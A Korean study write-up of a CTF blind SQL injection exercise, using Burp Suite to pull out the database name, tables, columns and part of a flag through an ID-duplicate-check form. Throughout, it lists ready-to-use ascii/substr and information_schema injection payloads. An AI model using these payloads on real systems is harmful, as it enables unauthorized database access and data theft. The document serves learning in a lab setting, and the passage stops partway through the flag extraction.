SQL Injection
DB에서 준비한 쿼리문에 SQL 구문을 주입하여 로그인, 인증을 우회하거나
DB의 데이터를 추출할 수 있는 해킹 기법.
SQL Injection 주구장창 하는 이유
1. 위험도가 높다.
2. 다른 위험도 높은 취약점에 비해 공부할 양이 많다.
mysql과 다른 sql언어는 세부적으로 다른 점이 있어서
추가로 공부해야할 내용도 있음.
< SQL Injection으로 DB 데이터를 추출할 경우 >
- DB 데이터가 화면에 출력됨
=> UNION SQL Injection이 가장 적합
- DB 데이터가 화면에 출력되지 않지만 SQL 에러가 출력됨
=> Error-Based SQL Injection이 가장 적합
- DB 데이터가 화면에 출력되지 않지만 입력값에 대한 참/거짓을 구분할 수 있음
=> Blind SQL Injection이 가장 적합
◈ Blind SQL Injection
화면에 DB데이터도, SQL 에러 메시지도 출력되지 않지만 아무튼 SQL질의문을 사용할 것으로 예상되는 포인트에서 질의문에 대한 참/ 거짓 응답 차이로 DB 데이터를 알아내는 공격 기법.
막 와씨 이런 곳에서도 데이터 쌔빌 수 있다고? 싶은 곳에서 사용하는 기법. (근데 파이썬 없으면 장인 정신이 필요함)
<실행 조건>
1) 서버에서 SQL이 사용되는 포인트여야 함. (SQLi의 대전제)
2) 쿼리문에 대한 결과가 참인 경우, 거짓인 경우 각각 차이를 보여야 함.
사이트의 로그인 페이지나 아이디 중복 체크하는 부분이 대표적인 Blind SQLi의 포인트임.
일단 DB 데이터를 추출해 사용자 입력값과 비교하므로 SQL 질의를 사용할 것이고,
쿼리문이 참이거나 거짓인 경우 각각 로그인 성공/실패, 혹은 이미 있는 아이디/없는 아이디로 결과를 표시함.
(이때는 이미 DB에 있는 아이디가 하나 필요할 듯..? 없어도 되나..?)
<간단한 원리 설명>
- Blind SQL Injection 확인
~아이디 중복 체크하는 중~
나에겐 normaltic이라는 이미 DB에 저장된 계정이 있음.
normaltic으로 검색함 -> 이미 있는 아이디라는 안내문이 뜸. (참)
normaltic'으로 검색함 -> 아무것도 안 뜸. SQL오류 나는데 오류문은 출력 안되는 중.
항등원을 추가해 다시 검색함 (참인 경우 결과 확인)
normaltic' and '1'='1 -> 이미 있는 아이디라는 안내문이 뜸.
항등원 반대되는 애(언제나 거짓) 추가해 다시 검색 (거짓인 경우 결과 확인)
normaltic' and '1'='2 -> 존재하지 않는 아이디라는 안내문이 뜸.
이렇게 질의 결과가 참인 경우/ 거짓인 경우 사이트가 어떻게 반응하는지 확인한 뒤
이때!!!
#참
normaltic' and ('1'='1') and '1'='1
#거짓
normaltic' and ('1'='2') and '1'='1
저 괄호 안에 SELEC문을 넣어 검색 -> 결과가 참이면 select문에서 얻은 데이터가 DB에 있는 데이터가 맞다는 뜻!!
- 괄호 안 조건(select문) 예시
이 DB이름 첫번째 글자의 아스키코드가 a의 아스키코드보다 큰 거 맞아?
===> 이 질의를 괄호 안에 넣고 실행 -> 이미 존재하는 아이디(참) -> a의 아스키코드보다 크구나!!!
이 DB이름 첫번째 글자의 아스키코드가 m의 아스키코드보다 작은 거 맞아?
===> 이 질의를 괄호 안에 넣고 실행 -> 존재하지 않는 아이디(거짓) -> m의 아스키코드보다 크구나!!!
이렇게... 한 땀 한 땀 찾아가는 매력이 있는 해킹 기법임.
<공격 포맷>
위에서 썼듯이
normaltic' and (__________) and '1'='1
이렇게 만들어두고 저 괄호 안에 원하는 SELECT문을 넣으면 됨.
근데 이제...select문 만으로는 그냥 문자열을 뽑을 뿐임.
Blind SQLi가 실행될 환경에선 화면에 DB 데이터도, 에러 메시지도 출력되지 않으므로 select로 뽑은 데이터가 뭔 문자열을 가졌는지 참/거짓 결과로 알아내야함.
그걸 위해 아스키코드로 만들어주는 함수랑, 문자열에서 글자 하나 뽑아주는 함수가 추가로 붙으면
normaltic' and ascii(substr((select ________), _몇번째글자_, 1)) > 비교할 값) and '1'='1
이런 식으로 되는데 자세한 건 밑에 이어서... 뚜비 컨티뉻
<낭만을 지키기 위한 개꿀 버프 스위트 기능>
파이썬으로 자동화시키면 사실 굳이 필요하지 않을 수 있음.
하지만!!!! 낭만이 업자나!!!!
그렇다고 매번 일일이 사이트에서 결과를 확인하는 건 정신력이 소모될 수 있으니..
낭만과 정신력 사이에서 줄타기 하려면 꼭 필요한 것이
버프 스위트의 리피터임.
여기서 새롭게 배운 개꿀 기능이 두 가지 있음.
1) url 디코드 유지하기
2) 응답 패킷에 어떤 문자열 있으면 알아서 그 부분으로 자동 스크롤
첫번째 기능은 내가 보내는 sql injection을 보기 편하게 만들어줄 것이고
두번째 기능은 굳이 스크롤하지 않아도 참인지, 거짓인지 바로 확인할 수 있게 함.
이제 CTF문제를 풀면서 실습해보겠음.
◈ 실행 절차 가이드 + CTF
1) SQL Injection 포인트 찾기
∽
2) SELECT 문 사용 가능한지 체크
∽
3) 공격 포맷 만들기
∽
4) DB 이름 찾기
∽
5) 테이블 이름 찾기
∽
6) 컬럼 이름 찾기
∽
7) 데이터 추출하기
㉮ SQL Injection 포인트 찾기
일단 검색해서 서버측 쿼리문을 추측
쿼리 결과가 참일 경우
쿼리 결과가 거짓일 경우
서버측 쿼리문은 아마
SELECT id FROM member WHERE id = '____'
로 서버에 존재하는 아이디를 추출해서
그 결과가 있으면 있는 아이디/ 없으면 없는 아이디라고 알려주는 로직이지 않을까 싶음.
이번엔 작은 따옴표 등이 쿼리문으로 인식되는지 확인하기 위해
normaltic' and '1'='1 과
normaltic' and '1'='2 를 입력해 봄.
확인 결과, 쿼리문을 주입해도 참, 거짓에 맞는 결과를 반환할 것 같음!
하지만 확실히 해야함. DB 데이터를 털기 위해 필요한 select문도 사용 가능한지 확인해보겠음.
㉯ SELECT 문 사용 가능한지 체크
아주 기본적인 공격 포맷
normaltic' and ( ) and '1'='1
괄호를 필터링하지는 않나 함 확인하기 위해
normaltic' and ('1'='1') and '1'='1
normaltic' and ('1'='2') and '1'='1
도 검색해서 참/거짓 나오는지 확인해보고~
오~ 잘되면 괄호 안에 (select 'test') = 'test'도 함 넣어서
selelct문 사용할 수 있는지도 함 체크해주고~
normaltic' and ((select 'test') = 'test') and '1'='1
그치그치 test는 test지 그것이 test니까(참..!)
select문도 잘 작동하는 듯하니 이제 본격적으로 DB를 털어볼까?
아~ 선수입장~~
㉰ 공격 포맷 만들기
아직 입장 못함. 공격 포맷을 만들어 두지 않았기 때문임.
공격 포맷을 만들어두지 않았다는 건 줠라게 달리고 마실 포카리스웨트가 없다는 뜻임.(?)
앞서 정리했듯이 가장 기초가 되는 포카리스웨트는
normaltic' and (____) and '1'='1 임.
저 괄호 안에 DB를 한 땀 한 땀 털 조건을 넣어줘야하는데
이때 필요한 함수가 ascii와 substr임.
완성본부터 적어두자면
normaltic' and (ascii(substr((select___),1,1)) > 70) and '1'='1
이런 식임.
**먼저 말해두자면, MySQL에서 SELECT문을 함수 안에서 사용할 땐 무조건 괄호 하나로 묶어줘야한다고 함. 서브쿼리로 묶어서 하나의 값으로 처리해야 문법 오류가 안 남.
1) substr
substr은 문자열에서 글자 하나 뽑아주는 함수임.
substr('문자열', 인덱스, 뽑을 글자 개수)
#얘는 인덱스가 1부터 시작함
예를 들어
substr('test',1,1) =>>> t
substr('test',3,1) =>>> s
이런 식으로 뽑아줌.
2) ascii
문자를 아스키코드로 바꿔주는 함수임.
phpMyAdmin에서 select ascii('t')라는 쿼리를 실행해보았음.
이처럼 인수로 받은 문자를 아스키코드 10진수로 바꿔줌.
근데 맨 앞 한글자만 바꿔주는듯 ascii('st')하니까 115가 출력됨.
이렇게 뽑은 게 70보다 큰지는 왜 확인하는 걸까?
https://www.ibm.com/docs/ko/sdse/6.4.0?topic=administering-ascii-characters-from-33-126
문자를 아스키코드 10진법으로 바꾸면 33부터 126까지의 숫자에 해당하는데
70은 대략 이 중간 숫자임.
그니까 업 다운 게임할 때 1에서 100중에 범위를 좁혀가야 한다면
보통 50부터 공략하는 그런 개념이라고 보면 됨.
70보다 SELECT문으로 추출한 문자의 아스키코드가 크면 존재하는 아이디라는 문구가 나올 것이고
크지 않으면 존재하지 않는 아이디라는 문구가 나올 것임.
normaltic' and (ascii(substr((select___),1,1)) > 70) and '1'='1
이제부터.. 후 한 땀 한 땀 DB를 털어보겠음...
㉱ DB 이름 찾기
DB이름 찾는 쿼리:
SELECT database()
공격 포맷:
normaltic' and (ascii(substr((select___),1,1)) > 70) and '1'='1
DB이름 찾는 쿼리 + 공격 포맷:
normaltic' and (ascii(substr((SELECT database()),1,1)) > 70) and '1'='1
검색 결과 '참'이 나옴.
이제 버프스위트에서 내가 보낸 요청 패킷을 확인한다.
이걸 리피터로 보내고
리피터에서 요청 패킷 내 url 인코딩된 부분을 디코딩시켜준다.
(검색값 드래그, 우클릭 -> convert selection -> url -> url-decode)
그럼 이렇게 바뀐다.
70초과가 참이었으니 이번엔 70~126 중간 값을 넣어본다.
normaltic' and (ascii(substr((SELECT database()),1,1)) > 98) and '1'='1
이걸 리피터의 요청 데이터에 붙여넣어서 보내본다.
send 클릭!
그럼 응답 데이터에 이런 문구를 발견할 수 있다.
존재하지 않는 아이디라는 문구는 참/거짓 결과 중 거짓을 구분해준다.
그러므로 서버에서 사용 중인 DB의 이름은 70이상 98이하라는 뜻이 된다.
(자신을 포함하기 때문에 이상, 이하이다.)
이번엔 70과 98사이 값인 84를 확인해본다.
하지만 그 전에 데이터를 더 편하게 찾기 위해 할 일이 있다.
응답 데이터의 "존재하지 않는 아이디입니다."를 복사하여
응답 데이터 밑 입력창에 붙여넣는다.
그리고 좌측 톱니바퀴를 눌러 auto-scroll을 체크해준다.
이제부터 응답 데이터에 저 문구가 있으면 굳이 찾지 않아도 알아서 스크롤을 저 문구에 맞춰줄 것이다.
다시 말해, 조건이 거짓인 경우에 문구를 표시해줄 것이다.
이제 84를 확인해보자.
84를 넣은 요청 데이터를 보낸 결과, 자동 스크롤이 동작하지 않았다.
혹시 몰라 확인해봤더니 존재하는 아이디라는 문구를 확인할 수 있었다.
DB의 첫 글자는 84이상 98이하의 글자이다.
이번엔 그 중간 숫자인 91을 검색해본다.
요청 결과, 스크롤되지 않았다. 참이라는 뜻이다.
DB의 첫 글자는 91이상 98이하이다.
이번엔 94를 넣어본다.
94도 95도 참 결과가 나왔다.
DB 첫 글자는 96이상 98이하이다.
범위를 좁혀가다가 98에서 거짓이 나왔기 때문에
SELECT한 문자와 98이 같은지 비교했더니 참이 나왔다.
98보다 크지 않지만 97보다 큰 값은 98이다.
DB의 첫번째 문자는 아스키코드 98에 해당하는 문자이다.
===> DB 첫번째 글자: 소문자 b
...마음이 불안하기 때문에 글자 수부터 찾는 게 나을 것 같다.
이게 사용 중인 페이로드이고
normaltic' and (ascii(substr((SELECT database()),1,1)) > 98) and '1'='1
이건 글자수를 알기 위한 페이로드이다.
normaltic' and (length((select database())) >4) and '1'='1
확인 결과 > 9 에서 거짓 값이 나왔고 = 9에서 참 값이 나왔다.
DB이름의 글자 수는 9자인 것 같다. (아닐 수 있음. 일단 이렇게 해두고 가자.)
두번째 글자를 찾기 위해 페이로드를 수정한다.
substr의 두번째 인자를 2로 바꿨다.
normaltic' and (ascii(substr((SELECT database()),2,1)) > 70) and '1'='1
참이 나왔다. 98을 넣어본다.
참이 나왔다. 98이상 126이하이다. 112를 넣어본다.
거짓이 나왔다. 98이상 112이하이다. 105를 넣어본다.
참이 나왔다. 106이상 112이하이다. 109를 넣어본다.
거짓이 나왔다. 106이상 109이하이다. 107을 넣어본다.
참이 나왔다. 107이상 109이하이다. 108을 넣어본다.
거짓이 나왔다. 107이상 108이하이다. 108과 같은지 확인해본다.
참이 나왔다. DB의 두번째 문자는 108 -> 소문자 l이다.
====> DB 두번째 글자: 소문자 l
이어서 세번째 글자도 찾아본다.
70을 넣어본다.
참이 나왔다. 70이상 126이하이다. 98을 넣어본다.
참이 나왔다. 98이상 126이하이다. 105를 넣어본다.
거짓이 나왔다. 98이상 105이하이다. 101을 넣어본다.
참이 나왔다. 101이상 105이하이다. 103을 넣어본다.
참이 나왔다. 103이상 105이하이다. 104를 넣어본다.
참이 나왔다. 104이상 105이하이다. 105와 같은지 확인해본다.
참이 나왔다. DB의 세번째 문자는 105 -> 소문자 i이다.
=====> DB 세번째 글자: 소문자 i
네번째 글자를 찾아보자. substr의 두번째 인자에 4를 넣고
70보다 큰지 비교해본다.
참이 나왔다. 70이상 126이하이다. 98을 넣어본다.
참이 나왔다. 98이상 126이하이다. 105를 넣어본다.
참이 나왔다. 105이상 126이하이다. 115를 넣어본다.
거짓이 나왔다. 105이상 115이하이다. 110을 넣어본다.
거짓이 나왔다. 105이상 110이하이다. 107을 넣어본다.
참이 나왔다. 107이상 110이하이다. 109를 넣어본다.
참이 나왔다. 109이상 110이하이다. 110과 같은지 확인해본다.
참이 나왔다. DB의 네번째 글자는 110 -> 소문자 n
=====> DB 네번째 글자: 소문자 n
다섯번째 글자를 찾아보자. substr의 두번째 인자를 5로 바꾸고
70보다 큰지 비교해본다.
참이 나왔다. 70이상 126이하이다. 98을 넣어본다.
참이 나왔다. 98이상 126이하이다. 105를 넣어본다.
거짓이 나왔다. 98이상 105이하이다. 102를 넣어본다.
거짓이 나왔다. 98이상 102이하이다. 100을 넣어본다.
거짓이 나왔다. 98이상 100이하이다. 99를 넣어본다.
참이 나왔다. 99이상 100이하이다. 100과 같은지 확인해본다.
참이 나왔다. DB의 다섯번째 글자는 100 -> 소문자 d
=====> DB 다섯번째 글자: 소문자 d
여섯번째 글자 차례이다. substr의 두번째 인자를 6으로 바꾸고
70보다 큰지 비교해본다.
참이 나왔다. 70이상 126이하이다. 98을 넣어본다.
거짓이 나왔다. 70이상 98이하이다. 84를 넣어본다.
거짓이 나왔다. 70이상 84이하이다. 77을 넣어본다.
참이 나왔다. 77이상 84이하이다. 80을 넣어본다.
참이 나왔다. 80이상 84이하이다. 82를 넣어본다.
참이 나왔다. 82이상 84이하이다. 83을 넣어본다.
거짓이 나왔다. 82이상 83이하이다. 83과 같은지 확인해본다.
참이 나왔다. DB의 여섯번째 글자는 83 -> 대문자 S
======> DB 여섯번째 글자: 대문자 S
일곱번째 글자를 비교하기 위해 substr 두번째 인자를 7로 바꾸고
70보다 큰지 비교해본다.
참이 나왔다. 70이상 126이하이다. 98을 넣어본다.
참이 나왔다. 98이상 126이하이다. 112를 넣어본다.
참이 나왔다. 112이상 126이하이다. 119를 넣어본다.
거짓이 나왔다. 112이상 119이하이다. 116을 넣어본다.
거짓이 나왔다. 112이상 116이하이다. 114를 넣어본다.
거짓이 나왔다. 112이상 114이하이다. 113를 넣어본다.
거짓이 나왔다. 112이상 113이하이다. 113과 같은지 확인해본다.
참이 나왔다. DB의 일곱번째 글자는 113 -> 소문자 q
(사실 중간에 꼬였었다ㅋㅋ글자 흐름상 q일거 같아서 113맞냐 했더니 맞았음 휴..)
=======> DB 일곱번째 글자: 소문자 q
8번째 글자를 찾아보자. substr 두번째 인자를 8로 바꾸고
70보다 큰지 비교해본다.
참이다. 70이상 126이하이다. 98을 넣어본다.
참이다. 98이상 126이하이다. 112를 넣어본다.
거짓이다. 98이상 112이하이다. 105를 넣어본다.
참이다. 105이상 112이하이다. 109를 넣어본다.
거짓이다. 105이상 109이하이다. 107을 넣어본다.
참이다. 107이상 108이하이다. 108을 넣어본다.
거짓이다. 107이상 108이하이다. 108과 같은지 확인해본다.
참이다. DB의 여덟번째 글자는 108 -> 소문자 l
======> DB 여덟번째 글자: 소문자 l
마지막(아마) 아홉번째 글자를 찾기위해 substr 두번째 인자를 9로 바꾼다.
70보다 큰지 비교하니
참이다. 70이상 126이하이다. 98을 넣어본다.
참이다. 98이상 126이하이다. 112를 넣어본다.
거짓이다. 98이상 112이하이다. 105를 넣어본다.
거짓이다. 98이상 105이하이다. 102를 넣어본다.
참이다. 102이상 105이하이다. 104를 넣어본다.
참이다. 104이상 105이하이다. 105와 같은지 확인해본다.
참이다. DB의 아홉번째 글자는 105 -> 소문자 i
=======> DB 아홉번째 글자: 소문자 i
열번째가 있는지는 추출 값이 0보다 큰지 비교하면 된다.
normaltic' and (ascii(substr((SELECT database()),10,1)) > 0) and '1'='1
참이 나오면 10번째 글자가 있다는 것,
거짓이 나오면 없다는 것. 검색 결과 거짓이 나왔으므로
=====> 최종 DB명은 blindSqli
뭔가... 이상의 시 같은 느낌이 있다...
㉲ 테이블 이름 찾기
테이블 이름 찾는 쿼리:
SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli'
공격 포맷:
normaltic' and (ascii(substr((select___),1,1)) > 70) and '1'='1
테이블 이름 찾는 쿼리 + 공격 포맷:
normaltic' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli'),1,1)) > 70) and '1'='1
****근데 이제 테이블이 여러개일 수 있으니까 LIMIT를 추가해서
normaltic' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 0,1),1,1)) > 70) and '1'='1
가보자고..
1) 첫번째 테이블
****이.. 일단 글자수부터 찾자..!
normaltic' and (LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 0,1)) > 5) and '1'='1
확인 결과 첫번째 테이블의 총 글자수는 9글자
=====> 첫번째 테이블 글자수: 9
첫번째 테이블의 첫번째 글자가 70보다 큰지 비교한다.
참이다. 70이상 126이하이다. 98을 넣어본다.
참이다. 98이상 126이하이다. 112를 넣어본다.
거짓이다. 98이상 112이하이다. 105를 넣어본다.
거짓이다. 98이상 105이하이다. 102를 넣어본다.
거짓이다. 98이상 102이하이다. 100을 넣어본다.
참이다. 100이상 102이하이다. 101을 넣어본다.
참이다. 101이상 102이하이다. 102인지 확인해본다.
참이다. 첫번째 테이블의 첫글자는 102 -> 소문자 f (flag겟지)
======> 1테이블 첫번째 글자: 소문자 f
두번째 글자를 찾기 위해 substr의 두번째 인자를 2로 바꾼다.
70보다 큰지 비교 결과
참이다. 70이상 126이하. 98을 넣어본다.
참이다. 98이상 126이하. 112를 넣어본다.
아 걍 소문자 l의 아스키코드인 108과 같은지 확인한다.
참이다.
======> 1테이블 두번째 글자: 소문자 l
세번째 글자를 찾기 위해 substr의 두번째 인자를 3으로 바꾼다.
그리고 a의 아스키코드인 97과 같은지 비교한다.
참이다.
=======> 1테이블 세번째 글자: 소문자 a
네번째 글자를 찾기 위해 substr의 두번째 인자를 4로 바꾼다.
그리고 g의 아스키 코드인 103과 같은지 확인한다.
참이다.
=======> 1테이블 네번째 글자: 소문자 g
다음은 왠지 밑줄일 것 같다.
다섯번째 글자를 찾기 위해 substr의 두번째 인자를 5로 바꾼다.
그리고 _의 아스키코드인 95와 같은지 확인한다.
아니네....
ㅎㅎ 대문자 T의 아스키코드인 84와 같은지 확인한다.
참이다.
========> 1테이블 다섯번째 글자: 대문자 T
able이겠구만 하는 생각으로
substr의 두번째 인자에 6, 7, 8, 9를 넣어
a, b, l, e의 아스키코드인
97, 98, 108, 101과 비교한다.
모두 참이다.
========> 1테이블 이름: flagTable
2) 두번째 테이블
우선 두번째 테이블이 있는지 확인하기 위해 0보다 큰지 비교한다.
normaltic' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 1,1),1,1)) > 0) and '1'='1
있네....
그 다음 두번째 테이블의 글자수를 확인한다.
normaltic' and (length((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 1,1)) > 5) and '1'='1
확인 결과 두번째 테이블의 글자 수는 6글자이다.
======> 두번째 테이블의 글자 수: 6
normaltic' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 1,1),1,1)) > 70) and '1'='1
2테이블의 첫번째 글자를 알아내기 위해 70보다 큰지 비교한다.
참이다. 70이상 126이하이다. 98을 넣어본다.
참이다. 98이상 126이하이다. 112를 넣어본다.
거짓이다. 98이상 112이하이다. 105를 넣어본다.
참이다. 105이상 112이하이다. 109를 넣어본다.
거짓이다. 105이상 109이하이다. 107을 넣어본다.
참이다. 107이상 109이하이다. 108을 넣어본다.
참이다. 108이상 109이하이다. 109와 같은지 확인한다.
참이다. 2테이블의 첫번째 글자는 109 -> 소문자 m (member겠구만..)
=======> 2테이블 1글자: 소문자 m
두번째 글자를 알아내기 위해 substr의 두번째 인자를 2로 바꾸고
e의 아스키코드인 101과 같은지 비교한다.
참이다. 하하하하하!!
=======> 2테이블 2글자: 소문자 e
나머지 3, 4, 5, 6 번째 글자가
m, b, e, r인지 확인하기 위해
substr의 두번째 인자에 3, 4, 5, 6을 차례로 넣고
m, b, e, r의 아스키코드인
109, 98, 101, 114와 같은지 비교한다.
모두 참이었다 하하하하하!!!!
(intruder의 pitchfork attack기능을 써봤는데 더 나은 방법인지 잘 모르겠다.)
======> 2테이블 이름: member
3) 세번째 테이블
세번째 테이블이 있는지 확인하기 위해
테이블의 글자수가 0보다 큰지 확인한다.
normaltic' and (length((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 2,1)) > 0) and '1'='1
잇네...
세번째 테이블의 글자 수를 확인한다.
plusFlag_Table을 노리고 14와 같은지 비교하였더니 참이 나왔다.ㅋㅎ
========> 세번째 테이블 글자 수: 14
normaltic' and (ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='blindSqli' LIMIT 2,1), 1, 1)) > 70) and '1'='1
3테이블 첫번째 글자를 알아내기 위해 70보다 큰지 비교한다.
참이다. 70이상 126이하이다. 98을 넣어본다.
참이다. 성실하게 하는 척하다가 p의 아스키코드인 112와 같은지 비교한다.
참이다!!!!!!
=======> 3테이블 1글자: 소문자 p
나머지 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14번째 글자와
l, u, s, F, l, a, g, _, T, a, b, l, e이 맞는지 비교하기 위해
108, 117, 115,
70, 108, 97, 103, 95,
84, 97, 98, 108, 101 과 같은지 확인한다.
노올랍게도 모두 참이 나왔다.
======> 3테이블 이름: plusFlag_Table
이번엔 intruder 쓰길 잘했다.
4) 네번째 테이블
있는지 확인하기 위해
normaltic' and (length((select table_name from information_schema.tables where table_schema='blindSqli' limit 3,1))>0) and '1'='1
을 확인한다.
음 없어없어.
확인된 테이블은
flagTable
member
plusFlag_Table
이다.
다~ 아는 얼굴이구만~
㉳ 컬럼 이름 찾기
컬럼 이름 찾는 쿼리:
SELECT column_name FROM information_schema.columns WHERE table_name='_____'
공격 포맷:
normaltic' and (ascii(substr((select___),1,1)) > 70) and '1'='1
컬럼 이름 찾는 쿼리 + 공격 포맷:
normaltic' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='_____' LIMIT 0,1),1,1)) > 70) and '1'='1
글자 수 찾는 쿼리 + 공격 포맷:
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='_____' LIMIT 0,1)) > 0) and '1'='1
flagTable
1) 첫번째 컬럼
글자 수를 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1)) > 5) and '1'='1
를 실행해본다.
확인 결과 첫번째 컬럼의 글자 수는 3
=====> 1컬럼 글자 수: 3 (idx겠지..)
normaltic' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1),1,1)) > 70) and '1'='1
i, d, x가 맞는지 확인하기 위해
substr의 두번째 인자를 1, 2, 3으로 하고
각각 105, 100, 120과 같은지 비교해본다.
모두 참으로 확인
======> flagTable 첫번째 컬럼: idx
2) 두번째 컬럼
글자수를 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 1,1)) > 5) and '1'='1
를 실행해본다.
확인 결과 두번째 컬럼의 글자 수는 4글자 (flag겠지~~~)
=======> 2컬럼 글자 수: 4
normaltic' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 1,1),1,1)) > 70) and '1'='1
이번엔 flag가 맞는지 확인하기 위해
substr의 두번째 인자에 1, 2, 3, 4를 차례로 넣고
이에 맞춰 102, 108, 97, 103과 같은지 비교해본다.
모두 존재하는 아이디로 참 값이 나왔다.
========> 2컬럼 이름: flag
3) 세번째 컬럼
세번째 컬럼이 있는지 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 2,1)) > 0) and '1'='1
을 실행해본다.
존재하지 않는 아이디로 거짓 값이 나왔음을 확인하였다.
세번째 컬럼 없음!!!
flagTable의 최종 확인 컬럼
idx
flag
member는 인간적으로 생략하자...
plusFlag_Table
1) 첫번째 컬럼
첫번째 컬럼의 글자 수를 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='plusFlag_Table' LIMIT 0,1)) > 3) and '1'='1
을 실행한다.
확인 결과 첫번째 컬럼의 글자 수는 3
======> 1컬럼 글자 수: 3
normaltic' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='plusFlag_Table' LIMIT 0,1),1,1)) > 70) and '1'='1
idx인지 확인하기 위해
substr의 두번째 인자를 1, 2, 3으로 하고
각각 105, 100, 120과 같은지 비교해본다.
모두 참으로 확인.
=====> plusFlag_Table의 1컬럼 이름: idx
2) 두번째 컬럼
두번째 컬럼의 글자 수를 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='plusFlag_Table' LIMIT 1,1)) > 3) and '1'='1
을 실행한다.
확인 결과 두번째 컬럼의 글자 수는 4
======> 2컬럼 글자 수: 4
normaltic' and (ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='plusFlag_Table' LIMIT 1,1),1,1)) > 70) and '1'='1
flag와 같은지 확인하기 위해
substr의 두번째 인자를 1, 2, 3, 4로 바꾸고
해당 아스키코드가 102, 108, 97, 103과 같은지 비교해본다.
모두 존재하는 아이디로 참 값이 나왔다.
======> plusFlag_Table의 두번째 컬럼: flag
3) 세번째 컬럼
세번째 컬럼이 있는지 확인하기 위해
normaltic' and (length((SELECT column_name FROM information_schema.columns WHERE table_name='plusFlag_Table' LIMIT 2,1)) > 0) and '1'='1
을 실행해본다.
존재하지 않는 아이디로 거짓 값이 나왔음을 확인하였다.
세번째 컬럼 없음!!!!!!!
plusFlag_Table의 최종 컬럼
idx
flag
㉴ 데이터 추출하기
idx 컬럼은 생략할 것임.
데이터 추출 쿼리:
SELECT 컬럼 FROM 테이블
공격 포맷:
normaltic' and (ascii(substr((select ________), 1, 1)) > 70) and '1'='1
데이터 추출 쿼리 + 공격 포맷:
normaltic' and (ascii(substr((SELECT 컬럼 FROM 테이블 LIMIT 0,1), 1, 1)) > 70) and '1'='1
글자 수 확인하는 쿼리 + 공격 포맷:
normaltic' and (length((SELECT 컬럼 FROM 테이블 LIMIT 0,1)) > 3) and '1'='1
flagTable
1) 첫번째 데이터
글자 수를 확인하기 위해
normaltic' and (length((SELECT flag FROM flagTable LIMIT 0,1)) > 10) and '1'='1
실행
확인 결과... 33자
이게 플래그가 아니면 난 내년 광복절에 일본국기를 씹어먹겠음.
=====> 1데이터 글자 수: 33
normaltic' and (ascii(substr((SELECT flag FROM flagTable LIMIT 0,1), 1, 1)) > 70) and '1'='1
일단 segfault{ _________ } 이런 식일 거란 말임?
저 아홉글자부터 확인해야겠음
그러면 substr의 두번째 인자를 1, 2, 3, 4, 5, 6, 7, 8, 9로 하고
대치시킬 아스키코드는
115, 101, 103, 102, 97, 117, 108, 116, 123이 맞는지 확인.
오케이. 9번째 글자까지 확인 완료.
=======>1~9 글자: segfault{
이제 10~32까지는 낭만을 지켜야함.
ㄱㅂㅈㄱ
normaltic' and (ascii(substr((SELECT flag FROM flagTable LIMIT 0,1), 10, 1)) > 70) and '1'='1
10번째 글자 70과 비교 결과.
거짓임. 33이상 70이하. 65를 넣어봄. (아스키코드표 보니까 65부터 알파벳)
참임. 65이상 70이하. 68 넣어봄.
거짓임. 65이상 68이하. 66넣어봄.
참임. 66이상 68이하. 67넣어봄.
거짓임. 67과 같은지 확인.
참임. 1데이터의 첫번째 문자는 67 -> 대문자 C
=====> 10번째 글자: 대문자 C
11번째 글자 70보다 큰지 비교.
참. 70이상 126이하. 98 넣어봄.
참. 98이상 126이하. 112 넣어봄.
거짓. 98이상 112이하. 105 넣어봄.
참. 105이상 112이하. 109 넣어봄.
참. 109이상 112이하. 111 넣어봄.
거짓. 109이상 111이하. 110 넣어봄.
참. 110이상 111이하. 111과 같은지 확인.
참. 11번째 글자는 111 -> 소문자 o
======> 11번째 글자: 소문자 o
12번째 글자를 70과 비교.
참. 70이상 126이하. 98 넣어봄.
참. 98이상 126이하. 112 넣어봄.
거짓. 98이상 112이하. 105 넣어봄.
참. 105이상 112이하. 109 넣어봄.
참. 109이상 112이하. 111 넣어봄.
거짓. 109이상 111이하. 110 넣어봄.
거짓. 109이상 110이하. 110과 같은지 확인.
참. 12번째 글자는 110 -> 소문자 n
======> 12번째 글자: 소문자 n
13번째 글자를 70과 비교
참. 70이상 126이하. 98 넣어봄.
참. 98이상 126이하. 108 넣어봄.
거짓. 98이상 108이하. 103 넣어봄.
거짓. 98이상 103이하. 100 넣어봄.
참. 100이상 103이하. 102 넣어봄.
참. 102이상 103이하. 103과 같은지 확인.
참. 13번째 글자는 103 -> 소문자 g (뭐지 축하메시지인가)
=======> 13번째 글자: 소문자 g
14번째 글자를 103과 비교
참. 103이상 126이하. 113 넣어봄.
참. 113이상 126이하. r의 아스키코드 114와 같은지 확인
참. 14번째 글자는 114 -> 소문자 r
=======> 14번째 글자: 소문자 r
15번째 글자가 97과 같은지 비교.
참. 15번째 글자는 97 -> 소문자 a
=======> 15번째 글자: 소문자 a
16번째 글자가 116과 같은지 비교.
참. 16번째 글자는 116 -> 소문자 t
========> 16번째 글자: 소문자 t
17번째 글자를 70과 비교.
참. 70이상 126이하. 98 넣어봄.
